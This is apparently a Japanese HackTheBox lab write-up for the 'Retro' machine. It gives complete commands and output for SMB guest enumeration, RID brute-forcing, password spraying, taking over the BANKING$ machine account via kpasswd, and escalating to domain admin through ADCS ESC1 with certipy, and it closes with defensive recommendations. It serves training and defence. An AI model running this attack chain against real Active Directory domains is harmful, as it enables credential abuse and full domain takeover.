HackTheBox: Retro — 全実行コマンド・実行結果レポート
Nmap スキャン
AD DC + ADCS (証明書サービス)
→
AD DC + ADCS (証明書サービス)
SMB Guest認証
Trainees共有: trainee共通パスワード
→
Trainees共有: trainee共通パスワード
RID brute + スプレー
trainee:trainee
→
trainee:trainee
Notes共有
user.txt ✓ + BANKING$ヒント
→
user.txt ✓ + BANKING$ヒント
BANKING$ kpasswd変更
banking→Banking123!
→
banking→Banking123!
ESC1 (RetroClients)
certipy req administrator証明書
→
certipy req administrator証明書
certipy ldap-shell
change_password Administrator
→
change_password Administrator
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャンと /etc/hosts 設定
BASH
nmap -sV -sC -p- --min-rate 500 10.129.234.44 echo "10.129.234.44 retro.vl dc.retro.vl DC" | sudo tee -a /etc/hosts
RESULT
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos 135/tcp open msrpc 389/tcp open ldap Microsoft Windows Active Directory LDAP 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 3389/tcp open ms-wbt-server 9389/tcp open adws
ℹ️
ドメインコントローラ
retro.vl(ホスト名 DC)。
ポート464 (kpasswd) が開いていることに注目 — 後でBANKING$の
パスワード変更に使う。Nmapの追加スクリプト調査で AD CS (証明書サービス)
が稼働していることも確認できる。
PHASE 2
SMB Guest認証による共有列挙
匿名(Guest)でSMB共有一覧を取得
BASH
smbclient -L //10.129.234.44 -N
RESULT
Sharename Type Comment --------- ---- ------- ADMIN$ Disk C$ Disk NETLOGON Disk Notes Disk SYSVOL Disk Trainees Disk
Trainees共有からヒントファイルを取得
BASH
smbclient //10.129.234.44/Trainees -N -c "get Important.txt"
RESULT (Important.txt)
trainee パスワードは全員共通です。
(新入社員研修用アカウントは全員同じ初期パスワードが設定されている、という趣旨のメモ)
🚨
重要発見: traineeロールの全ユーザーが**共通パスワード**を使っている
という内部メモ。ユーザー名列挙と組み合わせてパスワードスプレーする下準備ができた。
PHASE 3
RIDブルートフォース & パスワードスプレー & user.txt
RIDブルートフォースでユーザー名を列挙
BASH
netexec smb 10.129.234.44 -u Guest -p '' --rid-brute
RESULT
1000: RETRO\DC$ (SidTypeUser)
1104: RETRO\trainee (SidTypeUser)
1106: RETRO\BANKING$ (SidTypeUser)
1107: RETRO\jburley (SidTypeUser)
1109: RETRO\tblack (SidTypeUser)
ℹ️
匿名(Guest)SMB接続でもSAMRのRIDエニュメレーションが可能な場合、ユーザー名を
総当たりで列挙できる。
BANKING$ という**マシンアカウント**が
混在していることに注目(Phase 4のキーとなる)。
漏洩した共通パスワードでスプレー
BASH
netexec smb 10.129.234.44 -u trainee -p trainee -d retro.vl
RESULT
SMB 10.129.234.44 445 DC [+] retro.vl\trainee:trainee
Notes共有からuser.txtとBANKING$ヒントを取得
BASH
smbclient //10.129.234.44/Notes -U trainee%trainee -c "get user.txt; get ToDo.txt"
RESULT
user.txt: cbda362cff2099072c5e96c51712ff33 ToDo.txt: BANKING$ の事前作成済みマシンアカウントを削除するのを忘れていた。 使っていないなら早めに消すこと。
user.txt — trainee@retro.vl
cbda362cff2099072c5e96c51712ff33
🚨
核心のヒント:
BANKING$ は「事前作成されたが使われていない
マシンアカウント」。Windows Server の pre-Windows 2000 互換のマシンアカウント事前作成機能
では、作成時にアカウント名を小文字化したもの(「banking」)がデフォルトパスワード
になる既知の挙動がある。
PHASE 4
BANKING$ kpasswd変更 & ADCS ESC1発見
BANKING$の既定パスワードで直接ログインを試す(失敗)
NOTE
netexec smb 10.129.234.44 -u 'BANKING$' -p 'banking' → STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT マシンアカウントは通常の対話ログオンでは使えない(信頼アカウント専用)ため、 SMB/NTLM/LDAP認証は全て失敗する。しかしKerberosの kpasswd プロトコル (ポート464)経由でのパスワード変更自体は、現在のパスワードを知っていれば アカウント種別を問わず可能。
kpasswdプロトコルでBANKING$のパスワードを変更
BASH
impacket-changepasswd "retro.vl/BANKING$:banking@10.129.234.44" -newpass 'Banking123!' -protocol kpasswd
RESULT
[*] Changing the password of retro.vl\BANKING$
[*] Password was changed successfully.
✅
マシンアカウントBANKING$の認証情報を確立。これでLDAP/RPC等の
プロトコル越しに通常のユーザーアカウント同様に認証できるようになった。
Administrator SIDの取得
BASH
rpcclient -U 'trainee%trainee' 10.129.234.44 -c "lookupnames administrator"
RESULT
administrator S-1-5-21-2983547755-698260136-4283918172-500 (User: 1)
certipy find で ADCS テンプレートを調査 — ESC1発見
BASH
certipy-ad find -u 'BANKING$@retro.vl' -p 'Banking123!' -dc-ip 10.129.234.44 -stdout -vulnerable
RESULT
Certificate Templates
0
Template Name : RetroClients
Certificate Name Flag : EnrolleeSuppliesSubject
Extended Key Usage : Client Authentication
Minimum RSA Key Length : 4096
Permissions
Enrollment Rights : RETRO.VL\Domain Computers
RETRO.VL\Domain Admins
RETRO.VL\Enterprise Admins
[!] Vulnerabilities
ESC1 : 'RETRO.VL\\Domain Computers' can enroll and supply
arbitrary Subject Alternative Name (SAN)
🚨
ESC1脆弱性:
RetroClients テンプレートは
EnrolleeSuppliesSubject(申請者が任意のSAN=Subject Alternative Nameを
指定できる)フラグが有効で、かつDomain Computersグループ(マシンアカウントが
自動的に所属)に登録権限がある。BANKING$はマシンアカウントなのでこのテンプレートを使って
任意のUPN(administrator@retro.vl)を名乗る証明書をリクエストできてしまう。
Minimum RSA Key Length: 4096 なので -key-size 4096 を
明示的に指定する必要がある(デフォルトの2048では拒否される)。
PHASE 5
ESC1悪用 → certipy ldap-shell → root.txt
administrator@retro.vl 名義の証明書をリクエスト
BASH
certipy-ad req -u 'BANKING$@retro.vl' -p 'Banking123!' -dc-ip 10.129.234.44 \ -target dc.retro.vl -target-ip 10.129.234.44 \ -ca retro-DC-CA -template RetroClients \ -upn administrator@retro.vl \ -out administrator_retro \ -key-size 4096 \ -sid S-1-5-21-2983547755-698260136-4283918172-500
RESULT
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@retro.vl'
[+] Found SID in SAN URL: 'S-1-5-21-...-500'
[*] Wrote certificate and private key to 'administrator_retro.pfx'
⚠️
トラブルシューティング — 2つのハマりポイント:
①
②
①
-dc-ipを指定してもNETBIOS名解決が内部的に走るため、このターゲットは
RPC/SMB接続が数十秒〜数分単位でバースト的にタイムアウトする区間があった
(生TCPでポート445へ接続確認すると問題なく到達できるのに、certipy-adのRPCセッション確立
だけがその瞬間に失敗する)。1回失敗しても数秒〜十数秒後にリトライすれば大抵成功する。②
-outにディレクトリ区切り(“/”)を含むパス
(例: htb-workspace/loot/administrator_retro)を渡すと、certipy-ad 5.0.4は
これを内部で“/”を”_”に単純置換してカレントディレクトリに書き込む
(実際のファイル名は htb-workspace_loot_administrator_retro.pfx になる)。
証明書取得自体は成功していても、想定した場所にファイルが見つからず「失敗した」と
誤認しやすい。`-out`にはパス区切りを含まないベア名だけを渡し、生成後に
自分で目的のディレクトリへ移動するのが安全。
certipy auth -ldap-shell でAdministratorパスワードを変更
BASH
certipy-ad auth -pfx administrator_retro.pfx -domain retro.vl -dc-ip 10.129.234.44 -ldap-shell # ldap-shell プロンプトで: Type help for list of commands # ldap_shell> change_password Administrator Passw0rd123!
RESULT
[-] Could not find PKINIT in generated certificate (KDC_ERR_PADATA_TYPE_NOSUPP)
[*] Trying to authenticate via Schannel/LDAPS instead...
[*] Password changed successfully!
ℹ️
このドメインではPKINITによるKerberos認証(証明書→TGT発行)が
KDC_ERR_PADATA_TYPE_NOSUPPで失敗する構成だったが、certipyは
SCHANNEL(LDAPS上のクライアント証明書認証)に自動フォールバックし、
その認証済みLDAPセッション上で直接 change_password コマンドを実行できる。
これにより Administratorの平文パスワードを一切知らずに新しいパスワードを設定
できる。
新しいAdministratorパスワードでroot.txtを取得
BASH
netexec smb 10.129.234.44 -u Administrator -p 'Passw0rd123!' -d retro.vl \ -x 'type C:\Users\Administrator\Desktop\root.txt'
RESULT
SMB 10.129.234.44 445 DC [+] retro.vl\Administrator:Passw0rd123! (Pwn3d!)
SMB 10.129.234.44 445 DC 40fce9c3f09024bcab29d377ee1ed071
root.txt — Administrator@retro.vl
40fce9c3f09024bcab29d377ee1ed071
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — trainee@retro.vl
cbda362cff2099072c5e96c51712ff33
root.txt — Administrator@retro.vl
40fce9c3f09024bcab29d377ee1ed071
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| SMB Guest列挙 + 共通パスワード運用 | Trainees/Notes SMB共有 | 初期アクセス (trainee) | Medium | 匿名SMB共有から内部メモを取得し、全traineeユーザー共通の初期パスワードでスプレー成功 |
| pre-created マシンアカウントの既定パスワード | BANKING$ マシンアカウント | マシンアカウント権限奪取 | High | アカウント名小文字化の既定パスワード”banking”でkpasswd経由パスワード変更に成功 |
| ADCS ESC1 (RetroClients テンプレート) | Active Directory証明書サービス | ドメイン管理者への昇格 | Critical | EnrolleeSuppliesSubject+Domain Computers登録権限を悪用しAdministrator UPNの証明書を取得、ldap-shellでパスワード変更 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | AD DC + ADCS標準ポート群 |
| 2 | SMB Guest列挙 | smbclient匿名アクセス | Trainees/Notes共有、共通パスワードのヒント |
| 3 | スプレー | RID brute + nxc smb | user.txt、BANKING$ヒント |
| 4 | マシンアカウント奪取 | impacket-changepasswd (kpasswd) + certipy find | BANKING$資格情報、ESC1発見 |
| 5 | 権限昇格 | certipy req + ldap-shell change_password | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| SMB共有が匿名(Guest)アクセス可能で内部メモ・運用情報が漏洩 | Guest/匿名SMBアクセスを無効化する。共有ファイルには平文のパスワードポリシーや運用メモを記載しない。 |
| 研修用アカウント群が全員共通の初期パスワードを使い続けている(期限切れ運用も無し) | 初期パスワードは必ず初回ログイン時に個別変更を強制する。アカウント種別ごとのパスワードポリシー監査を定期実施する。 |
| pre-created(事前作成)マシンアカウントが未使用のまま放置され、既定パスワードのままだった | 使用しないマシンアカウントは速やかに削除する。pre-Windows 2000互換の既定パスワード機能自体の使用を見直す。 |
| ADCSの証明書テンプレートがEnrolleeSuppliesSubject + 広範な登録権限(Domain Computers含む)を許可(ESC1) | 証明書テンプレートの登録権限を最小化し、EnrolleeSuppliesSubjectフラグが本当に必要か再検討する。Microsoftが提供するPKI強化ガイドラインに沿ってADCS環境を定期的にcertipy find等でセルフ監査する。 |

